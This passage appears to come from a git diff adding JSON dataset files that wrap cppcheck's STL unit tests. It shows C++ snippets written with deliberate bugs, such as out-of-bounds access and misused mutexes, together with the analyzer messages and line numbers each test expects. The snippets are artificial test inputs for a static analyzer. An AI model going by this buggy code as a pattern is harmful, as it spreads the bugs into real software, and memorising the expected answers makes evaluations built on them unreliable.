std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainerIterator.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainerIterator.json new file mode 100644 index 0000000..a72ec4c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainerIterator.json @@ -0,0 +1,22 @@ +{ + "name": "misMatchingContainerIterator", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 46, + "branches": 19, + "apis": 49, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 2132 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n 